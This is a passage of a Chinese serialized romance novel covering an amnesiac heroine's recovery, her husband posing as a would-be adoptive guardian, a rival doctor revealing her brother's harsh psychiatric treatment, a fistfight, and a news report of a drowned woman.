盛珽妄压抑着想要杀人的怒气,尚存的一丝理智,告诉他,这事交给顾临处理。 顾临接到电话。 几乎是没有耽搁,就驱车来到了江阳大道。 王婶在电话里,说了一些。 他意识到了事态的严重。 “这么急叫我过来……”顾临看到了站在一旁的赵婧怡,和眼珠已经变得猩红的盛珽妄,“……我听王婶说……婧怡她,要给温疏亦打什么针?” “表哥……”赵婧怡小心地蹭到顾临的面前,“……都是误会,我没有想伤害温疏亦,是王婶这个老太婆,是她……” 顾临扫了赵婧怡一眼,忙问向盛珽妄,“……珽妄,什么情况?” 盛珽妄将针管丢给了顾临。 “你是医生,你来判断一下,这里面是什么?” 顾临看了赵婧怡一眼。 将她扯到面前问,“这里面是什么?你是要自己讲,还是我来讲?” “我,我说了,这不是我弄的,是王婶那个老太婆……” 顾临直接将针管里的药,滴在了自己的手背上。 低头闻了一下。 仔细辨认后,他抬手就给了赵婧怡一个响脆的耳光,“你给温疏亦打这种针?你想把她搞死是不是?” “我,我说了……”赵婧怡还想狡辩。 顾临又毫不客气地,给了一巴掌,“……赵婧怡,你太不是个东西了,我让你来照顾温疏亦,是因为你是个护士,珽妄给你那么高的薪资,你想害死他老婆,你是怎么想的?” “我,我……” 顾临觉得愧对盛珽妄。 他和盛珽妄几十年的交情。 这就毁在了赵婧怡的手上了。 “先把温疏亦,送到医院,检查一下身体吧,至于赵婧怡,我不偏袒,直接报警吧。” 顾临拿出了态度。 赵婧怡不干了。 她没有想到,顾临这胳膊肘往外拐,“表哥,你跟谁是一家的,你还要报警?把我抓起来,对你们有什么好处啊?” “做错了事,就要付出代价,我又不是你的护身符。” 顾临这没得商量。 赵婧怡哪肯乖乖等着警察来抓。 趁着将温疏亦送到医院这个空档,跑了。 …… 医院里。 盛珽妄和顾临忙着给温疏亦做各种检查。 楼上楼下的跑。 他其实很想跟盛珽妄,说句抱歉的。 人是他找的。 他以为一家人,就算是看在钱的份上,也总比雇佣个外人要强。 没想到,赵静怡还搞了这么一出。 二人将温疏亦推进电梯。 盛珽妄不说话。 顾临也不知道说什么好。 温疏亦的睫毛眨了一下,没人发现。 她好像浮在半空中一样,被人推着,一会儿去做这个检查,一会儿去做那个检查。 她听到有两个男人一直在说话。 好吵啊。 她明明睡得很好。 为什么醒过来的时候,全身哪儿哪都痛。 谁打她了? 温疏亦的手指无力地蜷起,眼睛费力地掀了几次过后,才勉强掀起一条缝。 这是哪儿? 是医院吗? 她怎么来医院了? “刚刚刘医生给我发了条信息,说了检查心脏的结果出来了,还好,一直正常。” “赵婧怡为什么要做这样的事情?顾临,她是你表妹,你是了解她的,为什么?因为对我不满吗?我和她没有过结吧?” “她为什么这样做,我真的也不清楚,已经报警了,警方那边会给出结果的,珽妄,我真的很抱歉,如果我知道她是这样的,我怎么会把她推荐给你呢,我真的……” “她在国外当护士比在国内赚钱多,她突然回国,你就应该问明白原因。” “是我疏忽了。” 温疏亦耳边嗡嗡作响。 到底谁在说话啊。 好吵。 好吵。 能不能闭嘴啊。 电梯门打开。 病床车颠簸了一下。 温疏亦感觉自己像是晕车了,恶心,想吐。 可她现在力气小的,连呼吸都觉得很吃力。 好呛的消毒水的味道。 前面拉着车子走的男人,是谁啊? 这个白大褂又是谁啊? 要带她去哪儿? 不会是要挖她的肝吧? 温疏亦很用力地喊了一声,结果……轻得像声叹息。 敏锐的顾临还是听到了。 他顿住了脚步,问盛珽妄,“刚刚你叹息了?” “我叹什么息。” “那刚刚你听到有人叹息吗?” 不会是闹鬼了吧? 在医院里,闹鬼也不是没有的事情。 盛珽妄没心情地回了句,“没听到。” 第67章 你收养我吧 顾临知道,盛珽妄怨了他了。 他也冤枉。 “你这情绪不会是针对我的吧?”顾临这性子有时候,很较真,“我要知道赵婧怡是这种货,我能介绍过去,给你用吗?我随便在医院里找几个靠谱的护士,也不至于……” “盛珽妄,咱俩多少年了,你不会以为,我是故意的吧?” “我没那么变态,这件事情,真的是意外,你别给我甩脸子啊……” 顾临聒噪地解释着。 盛珽妄一句没回。 温疏亦的耳中除了男人喋喋不休的话,还有病床的轮子摩擦地面的声音。 真的好吵啊。 她指尖抓着床单,她想坐起来。 可是她眼皮都睁不太动的情况下,别说是坐了,身子就像块水泥,一动也动不了。 做完所有的检查。 顾临和盛珽妄,又推着她,去了针灸科。 他们在聊着她的病情。 医生的手,在她的胳膊上,腿上,甚至是脑袋上扎了好多针。 凉凉的,酸酸的,痒痒的,胀胀的。 不舒服,一点都不舒服。 好亮好刺眼,有只手在她的眼睛上方,她透过眼睛眯起的那条缝望出去,看到了一个被阳光笼罩的男人的身影。 好高啊。 看不清的他样子,但可以看到阳光的剪影。 好像还挺好看的。 是她的爸爸吗? 还是她的同学? 好像也不是特别熟悉的样子。 “郭医生,以后还得麻烦你,亲自去盛先生家里,给温疏亦扎针了。”顾临说着。 老中医很好说话,“那是应该的。” 温疏亦:……温疏亦? 温疏亦是谁啊? 她不叫温疏亦啊。 她叫乔汐。 她的爸爸叫乔天华。 她的妈妈叫朱颜。 她还有一个弟弟叫乔深。 温疏亦到底是谁啊?他是不是扎错人了? 她想摇头。 她想说话。 可她无法控制自己的身体。 “呃。”温疏亦发出了声音。 这声。 实在也不怎么大。 淹没在了几个人探讨病情的声音里。 她好抓狂。 这些人不会都是聋子吧。 弄错了病人,也不管。 这样的人,怎么能做医生啊。 “谢谢医生。” 谈话终于结束了。 温疏亦身上那些令她难受的银针,一根根的拔了出来。 两个男人推着她,走出诊室,然后走向了停车场,准备把她带回家。 “珽妄,赵婧怡的事情,就交给我来处理吧,你放心,我绝不偏袒她,这种人,已经不适合再做护士的工作,就如你说,我得把她为什么回国的原因搞清楚,说不定,她在国外已经害了不少人。” 盛珽妄嗯了一声,“我先带疏亦回去了。” “路上小心。” 车子启动。 温疏亦:……终于不吵了。 她好累啊。 她需要好好睡一觉,恢复体力。 温疏亦不知道睡了多久。 几个小时,又或是几天。 这一觉睡得她,精神饱满,连睁眼的力气都大了许多。 但是这睁开的眼的第一感觉并不好。 一个男人,正拿着一块毛巾,给她擦身体。 “啊……”她尖叫。 虽然在盛珽妄听来,声音就如同隔壁家里的小猫咪的动听,但他还是听到了。 很清晰地听到了。 抬眸。 他对上了她的眼睛。 温疏亦眼睛睁开了。 眼眶一酸,俊脸差一点贴到她的脸上,“疏亦,你醒了?你是不醒了?” 男人很激动。 眼泪都要溅到温疏亦的脸上。 她有些嫌弃的缩了缩了脖子,“你,你是谁呀?” “我是,我是……”他紧紧地握着女人的手,语不成句,“儿子……哆哆,快来,快过来……” 小哆哆被育儿师带了进来。 小家伙看到妈妈醒了,开心地扑了过去,“妈妈,你睡醒了。” “你……你别乱叫。” 温疏亦被这个陌生的小孩子吓到了,很排斥地抓紧了被子。 盛珽妄看出来了,温疏亦失忆了。 不认得他,也不认得哆哆。 没关系,人醒了就好。 他转头对育儿师说,“把哆哆先带下去玩吧。” “好的,盛先生。” 房间里,只剩下了盛珽妄和温疏亦两个人。 温疏亦对这个陌生又高大的男人,好奇地打量着。 是一个眉目英气的男人。 鼻梁高挺,眼眸深邃。 微抿的唇角,冲她在微笑。 似有春风拂过,令人移不开眼。 真好看。 是个帅哥。 “你,你是谁呀?” “我们认识一下吧,我叫陆稷。”盛珽妄声音轻柔,像是有无尽的耐心,“你呢?你叫什么?” “我叫乔汐,我不认识你,我为什么……”她感觉环境很陌生,“……这是你的家吗?” “算是吧。” 温疏亦哦了一声。 她记得滨城地震了。 家人去世后,她被送进了福利院。 有一家人,想要收养她。 后来又没了动静,福利院的人让她等,可她这一等,好像就长大了。 “我……”温疏亦脑子里有很多疑问。 盛珽妄示意她放轻松,“来,我先扶你坐起来,你生病了,慢慢来,看看腰能不能支撑得住。” “哦。” 温疏亦没力气。 腰上更没有劲。 但靠着床头,她还是坐住了。 盛珽妄心中惊喜,顾临说,温疏亦的腰在昏迷的这段时间,恢复得比大脑要好。 还真的是。 “腰有感觉吗?” “酸的。” “慢慢会好的。” 温疏亦望着面前这个陌生的男人,问他,“你是要收养我的人吗?” 盛珽妄:……收养? 她的记忆停留在了地震出事后吗? 盛珽妄心口胀酸的厉害。 忍不住,眼底又是一涩,“你还记得,现在多大了?” 温疏亦摇头。 她也不知道自己多大。 她印象中自己还是个小孩子。 但她现在好像是个大孩子了。 而且,发育得还很好。 “应该有十八岁了吧。”她猜的。 “你想被人收养吗?” 温疏亦摇头,她不想,但是福利院不可能不把她送出去。 睫毛微微垂下,“我做不了主的。” “那就先不要想这事,你就在这儿好好的,先把病养好,好不好?”他抬手想抚一下她的头发,她害怕的与他拉开距离。 她看他的眼神过于陌生和疏离。 盛珽妄的心里不好受。 命运已然给了他这么大一个惊喜,他满足的。 他会一天三顿饭,亲自喂到她嘴里。 他会跟她聊,天气,绘画,在路上的所见所闻,聊一切大孩子所感兴趣的话题。 温疏亦对他不排斥。 后来,她直接跟他讲,“要不,你就收养我吧,我觉得你这个人,还怪好的。” “不怕我把你当童养媳养?”盛珽妄笑着问她。 温疏亦诧然的瞪大眼睛,“你不是有孩子了吗?你比我大这么多,当我爸年纪都够了,你不会对一个小姑娘感兴趣的,而且,我觉得你这个人挺正直的,不会有那么些歪心思,我还很小呢,你对我有想法,是犯罪的。” 盛珽妄:…… “那我把你收养了,你准备叫我什么?”他不死心地问。 温疏亦想了想,“叫……” 第68章 叫爸? “叫爸?” 盛珽妄脸黑了。 她看他脸色不对,忙又改,“干爹?” 盛珽妄脸更黑了。 她猜他还是不喜欢。 于是又改,“就叫叔叔好了。” 盛珽妄:…… 温疏亦眨眨眼,单纯无辜地看向他,“还不满意?你是不想收养我对吗?” 盛珽妄忙摇头,“不是。” “那你怎么……” “我只是还没有适应,有你这么大个……女儿。” 老婆变女儿。 这种匪夷所思的事情,砸在他头上,他也是醉了。 “哦。”她很真诚地说,“那我先叫你叔叔好了,等你以后适应了,我再叫你爸。” 盛珽妄扶额…… …… 李江衍得知温疏亦醒了。 立马买了张机票飞回了华城。 当他见到,被盛珽妄推着在小公园里晒太阳的温疏亦时。 一下没忍住哭了。 温疏亦看得糊涂。 这么激动。 这个男的……又是谁啊? 她家亲戚? 是在哭她,还是哭她逝去的父母。 可能是因为父母过世,他想着了她的身世变得可怜,才忍不住的吧。 也是个心软的人啊。 “这位叔叔,你是哪位啊?” 李江衍:……叔,叔? 盛珽妄听到了同样的称呼,噗嗤笑出声来。 这样好像,也没有那么难受了。 “她失忆了,现在她只有十八岁,她叫乔汐。”盛珽妄恶趣味地解释了一下。 李江衍的脸更绿了。 温疏亦受了那么重的伤。 能醒过来,已经是上天垂怜。 失忆降智,都是可能发生的事情。 这么一想,李江衍也没什么纠结的,“疏亦,我是你的好朋友,你醒了,是天大的好事,记忆的事情,慢慢来。” 温疏亦觉得面前的人,好温柔呀。 原来是她的好朋友。 “你叫什么呀?” “我叫李江衍。” “李江衍,你好,我叫乔汐。”温疏亦冲李江衍伸出了手。 李江衍心尖一酸。 将手伸了过去,在要碰到温疏亦指尖的时候。 盛珽妄将温疏亦的小手,握进了自己的掌中,“李医生没事,就回去吧,我还得推着乔汐,去那边转转。” 李江衍的手滞在半空中。 忿忿不甘的又收握回了掌心。 温疏亦的记忆停留在了地震后。 六岁到成年的记忆,她是生活在温家的。 可能是因为生活得不那么快乐。 这段记忆被上天给删除了。 因为受伤的原因,再后面的记忆也没有了。 盛励,盛珽妄,和儿子,在她的记忆里都是不存在,更不用提李江衍了。 成年人的身体。 七岁的记忆,她被迫将自己想象成了一个十八岁的成年人。 她其实挺难为自己的。 盛珽妄给她买了画笔,她每天最多的时间,就是在阳台上,画画。 这天。 吃过晚饭后。 盛珽妄跟她讲,“今天是顾临的生日,他邀请我,我带你去玩玩。” “好呀。” 华城最大的夜总会的VIP包厢里。 顾临难得在生日的时候,邀请朋友过来玩。 也没有邀请,自己来的,比如说叶棠。 “你不会把我赶出去吧?”叶棠递上自己精心挑选的礼物,“顾临,生日快乐。” “有心了。” 顾临接过礼物,没看,直接丢在了一旁。 毫无重视可言。 他没有赶叶棠离开。 也没有多少热情。 就一直冷着。 叶棠情绪稳定,没吵没闹,跟他的那些朋友也挺熟的,就聊天。 盛珽妄推着温疏亦走进来。 大家便收起闲聊,齐唰唰地望了过去。 顾临从沙发里弹跳起身。 温疏亦现在状态,比他想象的要好很多。 当初,他还想让盛珽妄放弃,现在想来,还有点对不起她。 “你们来了。” “带她过来散散心。”盛珽妄从口袋里摸了个四四方方的盒子,丢给顾临,“呶,生日礼物。” 一只手表。 百达翡丽的。 价值不菲。 顾临皱起眉心,“人家过生日,你送钟,亏你想得出来。” “不要就还回来。”盛珽妄淡瞥着他说。 顾临将手表戴在了自己的手腕上,“还好啊,我不迷信。” 落座后。 朋友们各玩各的。 温疏亦的记忆里,没有去过夜总会的印象,看什么都好奇。 “叔叔,我想吃水果。”她跟盛珽妄说。 刚端起酒,往嘴里喝了一口的顾临,一口红酒差点喷到盛珽妄的身上。 “我没听错吧,她叫你……叔叔?” “这有什么大惊小怪的。”盛珽妄拿了果盘,放到温疏亦的面前,“想吃哪个就吃哪个,不够我再给你要。” 温疏亦扬起笑脸来,“谢谢叔叔。” 顾临:…… “她……真失忆了?不光失忆,还失智了?不能吧?你们不会是在玩什么禁忌游戏吧?” 一旁的叶棠说话,“你看温疏亦这清澈的眼神,分明就是已经忘记了很多东西,珽妄,她在小时候,是不是受过什么刺激啊?” 盛珽妄沉眸。 唯一受过的刺激,应该就是那场地震。 在温疏亦昏迷的这段时间。 他已经给了乔深最好的手术和治疗。 但如顾临说的,效果不是很明显。 最近,他正忙着找好的心理医生,为乔深治疗。 温疏亦现在的情况和乔深差不太多,都是陷在了某个时空里,说是失忆,不如说,她把自己锁了起来。 至于什么时候能清醒过来。 没人知道。 “经历过亲人离世。” 叶棠明白了,“原来是这样。” 家人,一直是温疏亦的执念。 或许在她的心里,一直想回到那个父母双全,又有弟弟陪伴的童年。 可她长大了。 经历了亲人的离世。 经历了弟弟失踪,成了残疾,变成傻子。 她不想接受这一切。 她拼命地赚钱,想要改变这一切。 她想对父母有一个交代。 她想有一个至亲的血缘,与她一起活在这个世界上。 他们有共同的爸爸,妈妈,甚至有共同的,为数不多的回忆。 盛珽妄想到这些。 心脏的位置,就不可避免地刺痛。 那就让他来帮她实现这一切吧。 他深呼吸,转头跟顾临说,“联系到马其顿医生了吗?让他尽快来华城,如果他能把乔深治好,我可以多给他一百万美金。” 顾临一直在联系。 马其顿医生,是全球顶尖的心理学专家。 想要邀请到他,不止是得有钱,还得看机缘。 “我联系到了他的助手,不出意外的话,他很快会来华城。” “好。” 一旁的叶棠正在跟温疏亦说话。 温疏亦很喜欢这个漂亮的姐姐,“姐姐,你有男朋友了吗?要不要做我的婶婶呀?陆叔叔人很好的。” 叶棠:……陆叔叔是哪位? 温疏亦指了指盛珽妄,“陆叔叔就是他呀,姐姐。” 叶棠突然反应过来。 盛珽妄的原名叫陆稷。 笑了,“你的陆叔叔,可不喜欢我这样的。” 第69章 前女友 “姐姐是不是有心上人了?”温疏亦转头看了眼,周围的男男女女,最后把视线定格在了顾临的身上,“姐姐,不会是喜欢这个叔叔吧?” 叶棠笑了。 温疏亦还挺会挑人的。 “为什么你觉得会是他?” “我觉得你们有……”温疏亦脑光一亮,“……有夫妻相。” 叶棠笑着摇头。 以前读书的时候,就有人说她和顾临有夫妻相。 说他们的恋爱,一定会有一个好的结果的。 结果呢? 她为了追求梦想,远走异国他乡。 顾临不愿意谈异国恋,二人直接分了手。 哪里还有什么结果。 这时。 包厢的门打开了。 一个年轻漂亮的小姑娘走了进来。 她穿了一条淡粉色的碎花连衣裙,腰间是一条金属元素的细腰带,发梢微卷,耳畔是一枚珍珠发夹,皮肤很白,即使在这昏暗的灯光下,她依然甜美的,令人心动。 “顾临。”她站在门口,小心翼翼地叫着顾临的名字。 顾临起身走到她面前,牵起她的手,为大家介绍,“这是我女朋友,姜晚。” “你小子,什么时候交的女朋友啊?是女大吧?清纯得一塌糊涂啊。” “就是就是,这么漂亮的女朋友,不早点带出来让我们认识,怕我们抢啊?” “顾临,你小子真不地道,这叶棠还在这儿呢,你搞这一出?” 叶棠脸色确实不好看。 她有想过,顾临在她离开的这几年里,交别的女朋友。 但没有想到,他会选择在这种日子,在她还在场的情况下,将女朋友带到了大家的面前。 这等于是公开承认他们的关系。 而她呢? 一个前女友。 一个试图想要与他复合的前女友。 出现在这儿,就变成了一个笑话。 顾临有理会叶棠脸色的变化,笑着跟大家解释,“我和晚晚认识时间不长,刚刚确立关系,她年纪小,你们说话注意着点,别吓着她了。” 小姑娘挺腼腆。 嘴也甜。 哥哥姐姐的叫着。 一直乖乖地跟在顾临身边。 顾临喝酒的时候,她会小小地扯一下他的领口,让他少喝一点。 他玩牌的时候。 也会把她圈在身前,暧昧的像起了火一般的。 叶棠心口涩得厉害。 跟大家打过招呼后,就抓起包走了。 在她关门的那一刻,顾临从牌桌上抬起头来,近乎慵懒地扫了一眼她离开的背影。 温疏亦揪了揪盛珽妄的衣角,“我困了,回家吧。” “好。” 顾临出来送盛珽妄,“这么早就走?难得我有时间,不再玩会了?” 盛珽妄将温疏亦送到车上。 这才跟顾临说了几句掏心窝子的话,“你这样做,是不是太过分了?” “什么就过分了?” “叶棠她……” 顾临蓦地地笑了,讥诮又嘲弄,“叶棠怎么了?她都要嫁给宋复礼了,我还要给她留什么面子?为了她终身不娶?别搞笑了,我也有我的人生要过,就此别过挺好的。” “你心里真这样想的?” 顾临耸肩,意兴阑珊地笑着,“不然呢?我还能为了她,一辈子连个女朋友都不交了?” “那就好。” 顾临向来嘴硬。 盛珽妄没再说别的。 转身上车,离开。 顾临没走,眼眸落寞垂下后,他点了根烟,吸着。 姜晚追求了她四年。 那会儿,从她刚上大一,他去学校去讲课。 他一直对她无感。 她示好,他拒绝。 就这样毫无终点地循环着。 可能是因为叶棠回来了。 可能是因为叶棠要嫁人了。 他觉得,自己这些年的坚守,变成了个笑话。 他答应了姜晚的追求。 借着今天生日这个机会,将她介绍给了自己的朋友。 他承认。 也有一些故意的成分在。 但不重要了。 人这一生,注定是要错过很多人。 就当他和叶棠没有缘分吧。 转身。 他扔掉了指尖的烟,大步往回走…… …… 回到家后。 温疏亦被盛珽妄带去浴室洗澡。 “今天玩得还尽兴吗?”他蹲下来,给她解衣服的扣子。 她眨着懵懂的眸子,看向他指尖的动作,“叔叔,今天,你要给我洗澡吗?我们男女有别,还是让王婶来吧,我是大人了哦。” 盛珽妄忘了这茬。 自从温疏亦醒过来后。 他就跟她保持着,跨辈该保持的距离。 但他真的很想跟她讲,他和她是夫妻,他们可以睡在一起,可以做很多夫妻之间应该做的事情。 可现实情况是。 无论是从身体上,还是心理上。 她都不会接受他身份的转变。 他自己也不敢轻易去改变。 “好,我叫王婶。” 王婶自从知道温疏亦的身份后,伺候得格外上心。 洗完澡后。 温疏亦上了床。 她的腰还是没多少力气,但最近复健得很认真。 她准备脱离轮椅,用拐杖练习行走。 她想,用不了多久,她就能可以跟正常一样的走路了。 小哆哆太久没有跟妈妈一起睡。 偷偷地跑到了她的房间。 小脸委屈巴巴的,“妈妈,我可以跟你一起睡吗?” “小可爱,我不是你的妈妈,你以后叫我姐姐,好不好呀?”温疏亦示意哆哆脱鞋上床,“姐姐可以跟你一起睡,但你睡觉的时候,要老实一点哦。” 小哆哆也不知道,妈妈怎么突然就不认得他了。 但是妈妈愿意跟他睡,他还挺开心的。 叫姐姐就叫姐姐吧。 反正,她是妈妈,又跑不了。 “小可爱,你妈妈呢?是跟你爸爸离婚了,还是去世了?”温疏亦觉得这样问一个小孩子,他也不太懂,又换了种方式,“你是不是很久,没有见过你的妈妈了?” “不是啊。”小哆哆搂着温疏亦的脖子,“我妈妈没死。” “哦。”那就是离婚了,“那你们经常见面吗?” “经常见呀。”小家伙眨着大大的眼睛,“姐姐,我妈妈生病了,但一定会好起来的,一定会的。” 温疏亦似懂非懂的。 生病了? 没离婚,也没有去世。 人哪? 她低头看了眼小家伙,睡得还挺快的,睫毛长长卷卷的,蛮漂亮的小包子,她还挺喜欢的。 就是有一点,她没搞清楚。 小包子的妈妈到底是去哪儿了? 既然是生病了,要么在医院,要么在家里照顾。 为什么盛珽妄要照顾她,而不去照顾他的妻子呢? 奇怪。 …… 复健的日子里。 温疏亦经常见到李江衍。 李江衍会跟她聊很多,她记忆里没有东西。 比如说温家。 比如说盛家。 她听得很迷茫。 “你说我现在……不是十八岁?” 她刚接受自己从六岁变成十八岁,李江衍告诉她,她已经二十八岁了。 “我知道,跟你讲这些,可能会刺激到你,但是疏亦,你有知道那段回忆不起来的记忆的权利,这样,有助于你记忆的恢复,我不想让你做个小傻子,你懂吗?” 温疏亦不懂。 她不是傻子。 但她的记忆确实都困在了滨城。 “可你现在跟我说这些,我根本毫无感觉,我像是在听一个故事,看一场电影。” 李江衍:“那我带你去见一个人。” 第70章 卑鄙,龌龊 一间单独的诊室里。 一个坐在轮椅上的年轻男人,头微微垂着。 他看上去异常单薄,甚至有一些死气沉沉。 头上缠绕裹着绝缘外皮的电源线,连接着身后闪烁着指示灯的机器。 坐在他对面的,是一个黄头发外国人,手里拿着记录板,偶尔低头写着什么。 温疏亦不禁,指尖发紧。 她转头,看向身边的李江衍问:“这是在什么?” “在做治疗,坐在轮椅上的,就是你弟弟,乔深。” 李江衍没有任何铺垫,语气平直得像在陈述一个早已确定的事实。 他知道温疏亦需要时间去消化,但他必须说。 必须把他知道的全部摊开在她面前。 “他正在接受一个全新的治疗。电击,催眠,还有……各种你大概想象不到的方式。” 温疏亦愣住。 她弟弟? 她的弟弟……怎么会在这里? 怎么会是这副模样? “我弟弟?他怎么了?为什么要做这样……治疗?” 她刚接受了自己二十八岁的事实。 又要强迫接受,一个正在用奇怪方式治疗的弟弟。 只是在她眼中,这根本不像治疗。 冰冷的仪器,僵硬的姿势,空气中若有若无的焦躁感,更像是一种刑罚。 正如下一秒她看听到的。 是乔深惨烈的叫声。 印证着她的恐惧。 温疏亦身子一颤,脑袋发懵。 她猛地抓住李江衍的胳膊,指甲几乎要掐进他的白色大褂里:“他们到底在干什么?他为什么会痛?李江衍!你告诉我,为什么要这么对他?” 李江衍被眉头微皱,“治疗过程,有时是这样的。” “谁让他接受这种治疗的?是你吗?” 温疏亦推开李江衍,拐着拐杖,步履艰难地扑到诊室的门前,拼命拍打着厚重的门板,“开门!开门!让我进去!乔深!乔深……” 里面的人对她的哭喊和拍打毫无反应。 好像一切,与外面的人,毫无关联。 李江衍将她从门边拉离,带到了不远处的办公室。 他双手按住温疏亦不断颤抖的肩膀,试图让她冷静下来。 “听我说,疏亦,”他压低声音,语速加快,“你弟弟其实已经做过手术了,理论上,这种强化治疗根本没必要。是盛珽妄,是盛珽妄坚持要给他上的。我是医生,我可以很负责任地告诉你,这种过度的、强刺激的治疗,只会恶化乔深的病情,你明白吗?” 温疏亦拼命摇头,泪水模糊。 她不明白,她什么也不明白。 她不知道盛珽妄是谁,她只知道她的弟弟在里面受苦。 “告诉我……怎么才能带走我弟弟?”她抓住李江衍的衣袖,像抓住最后一根稻草,声音破碎不堪,“求你,告诉我,李江衍……我该怎么做?” 李江衍看着她,缓缓摇了摇头,“这件事,我说了不算。这是盛珽妄……你还不知道盛珽妄是谁吧,他就是陆稷。是他坚持要让乔深接受这些的。如果你想带你弟弟离开,恐怕……只能去找他。” 陆稷。 是他? 是他在害她的弟弟。 可是为什么啊? “我跟他有血海深仇吗?是我的家人跟他有什么矛盾,还是什么?” 李江衍是男人,他大概可以猜到盛珽妄心里的想法,“疏亦,你和他之是确实有很多的故事,你去问他吧,如果他是真诚的,他一定会跟你讲清楚,但……你醒来这么久,他好像也没有告诉你,关于你失去记忆的一星半点,他应该心里有别的想法。” 温疏亦听不懂。 一点都听不懂。 什么想法? 就算有什么想法。 他也没有权利让她弟弟,在这里受这种非人类受的苦? 骗子。 原来他是个骗子。 他甚至连名字,都给了她个假的。 他叫盛珽妄。 根本不是什么陆稷。 他还把自己伪装成了,一个收养她的好心人。 …… 盛珽妄来接温疏亦回家的时候。 人没在医院里。 护士说,她和李江衍出去后,就没有回来。 男人的心咯噔一下。 像是预感到了什么。 没有半刻的犹豫。 直接去找了李江衍。 李江衍刚准备下班。 就被盛珽妄拦下了,“温疏亦呢?” “她没回家吗?没回家的话……”李江衍一边换衣服,边风轻云淡地说,“……她看到乔深接受治疗,受了些刺激,可能心情不好吧,找地方消化去了。” 盛珽妄:…… 这话听得他想杀人。 温疏亦现在的情况,无法很好的行走,连自己多大都不知道,李江衍是怎么想的,要这么刺激她? 抬手。 盛珽妄攥住了李江衍的领口,将他的人,连拉带拽地拽出了办公室。 “你按的是什么心?” “我倒想问问你在安什么心?”李江衍猛地推开盛珽妄的手,“她是失去了记忆不假,但她不是傻子,你什么都不跟她讲,是想让她傻呵呵地再跟你谈恋爱吗?卑鄙,龌龊。” “我卑鄙,我龌龊?” 对于温疏亦这样的病人。 让她见识到自己弟弟正在接受这样的治疗,对她有半点好处吗? 李江衍做这样的事情,就没有存点私心? “李江衍,你想让她恨上我,然后爱上你?” 这多少有点可笑。 “我没这么想,我只不想温疏亦被蒙在鼓里,她有权利知道,她失去记忆的那部分里有什么,她更有权利知道,你曾经做过的那些伤害她的事情。” 李江衍的目的很简单,“我就是想让看清你的嘴脸,让她自己选择去留,难道,这样不对吗?” 盛珽妄笑了。 笑意未达眼底。 嘲讽、不屑,还有一些狠厉。 他的嘴脸,现在确实算不得好看。 再不好看,还差得过面前这位,救死扶伤的医生么? 瞬间,被修长的手指紧握着的手杖就挥了出去。 迅疾。 凌厉。 毫无保留的狠劲。 李江衍甚至没来得及做出反应,脸上就被狠狠地撕开了一道口子。 甚至还有骨头错位的声音。 哀嚎声下。 拳拳到肉。 肋下。 颧骨。 没有半分花哨,只有最原始粗暴。 以前,盛珽妄就是这么赤手空拳地打过敌人。 打一个医生…… 大材小用了。 李江衍踉跄后退,眼镜飞落在地碎裂。 嘴角渗血,脸颊迅速肿起。 狼狈。 蜷缩。 痛苦呻吟。 李江衍擦了把鼻子和唇角冒出的血,嘲笑盛珽妄,“你除了拳头,还有什么?以为自己当过兵,了不起啊?有本事,你打死我啊,不然,我会把你对温疏亦做过的事情,一件件一桩桩的,一个字一个字地,都告诉她。” 第71章 遗物 “李江衍,我一直认为你是个君子。” 而不是这样的,为了挑拨而挑拨,“我和温疏亦最后会怎样,上天自会安排,但你这样毫不顾及她是一个失去了记忆,心理年龄又与当下不符的人,强行让她接受这么多的事情,她一旦发生了危险,你就是害死她的凶手。” 李江衍愣住。 似乎意识到了,可能会很严重。 抓得起身,踉跄着站住,“那还等什么,我们马上分头去找人啊。” 温疏亦不见了。 就在眼皮底下。 她的腿没法长时间站立行走。 单靠轮椅的情况下,她也走不太远。 可是就是毫无头绪。 …… 温疏亦一时面对不了这么多复杂又多变的信息。 她失忆了。 她知道的。 可是偏偏有人要让她全部记起来,她记不得了,她很痛苦,头疼得要命。 她没有去小旅馆。 她一个人就那样和轮椅一起走着。 手机关机。 她断绝了与外界的一切联系。 那个被电击的男人,在她的脑海里挥之不去。 是她的弟弟。 地震后就一直失踪的弟弟,在她的面前,突然变成了成人的模样,承受着那样的治疗…… 温疏亦抱着头,将自己缩成了一小团。 她感觉好混乱。 她像一个傻子。 一个连自己都搞不清楚的傻子。 …… 盛珽妄几乎找遍了周围,温疏亦可能去的地方,都没有任何消息。 他慌了。 就像他小时候,母亲突然不见时。 对一切都失去了掌控。 他发动了可以发动的人。 将华城几乎要掀翻般地找,可是一连找了三天,都没有任何讯息。 手机上的监控,还在她最后消失的那个路口。 “她现在失忆,身上也没多少钱,手机关机,人……”他好怕她,是不是出了意外。 顾临拍了拍他的肩,安慰:“她不有事的,指不定是在哪个地方躲起来了,别急,我再慢慢找,总是会找到的。” 突然出了这事。 顾临也不想指责李江衍,但他这次做的,真的欠考虑。 “我知道你心里有怨,也有恨,你迫切地想让温疏亦知道以前的事情,但是李医生,你也太心急了,你好歹等她身体好一些的时候再说……哎,你去哪儿?” 顾临话没说完。 李江衍又去找人了。 他摇头,不知道该说什么好。 张纶走过来,向盛珽妄报告,“三爷,温小姐消失的那个路口,附近的村庄都找遍了,没人见过她。” 盛珽妄抚额。 抬了抬手指。 张纶便下去了。 顾临忍不住叹气,“你说她又走不了路,能躲到哪儿去呢?附近的小旅馆找过了吗?” “都找了,没有任何人见过她。”盛珽妄绝望了。 三天了。 没有半点音讯。 盛珽妄焦灼到心率失控,呼吸生疼。 他害怕极了。 想得到她的消息,又怕听到她的消息。 神经紧绷的刹那,手机响了一声。 一条强制推送的社会紧急新闻。 垂眼,屏幕的冷光映亮了他眼底的血丝。 【急讯:今日清晨于华河下游岸边,发现一具年轻女性遗体。身着红色毛衣、蓝色牛仔裤,体型瘦削。现场遗留一副轮椅,初步判断为落水者生前所用。现正紧急寻找死者家属,具体死因尚在调查中。】 每一个字都像淬了冰的针,钉入了盛珽妄的瞳孔。 红色毛衣? 蓝色牛仔裤? 轮椅? “啪。” 手机从他指间脱落,重重砸在大理石地面上。 屏幕瞬间炸开一片蛛网。 耳边响起尖锐蜂鸣声。 不会的。 怎么会是温疏亦呢? 她再怎么着,也不会想不开的,她向来坚强啊,她心脏那么强大。 不会的。 巧合,一定是巧合的。 华河的水,多冷啊。 她怕凉啊。 “珽妄?” “盛珽妄?” “珽妄?” 顾临的嘴一张一合,盛珽妄听不声音,但可以从他的嘴形中听到,他在喊自己的名字。 他的世界变得好安静。 不知道过了多久。 盛珽妄才被一点点地唤醒…… “珽妄,你怎么了?” “珽妄?” “你别吓我啊,你说句话啊……” 盛珽妄仿佛在溺水中醒过来。 他深呼吸了一口,立马起了身,“去华河。” 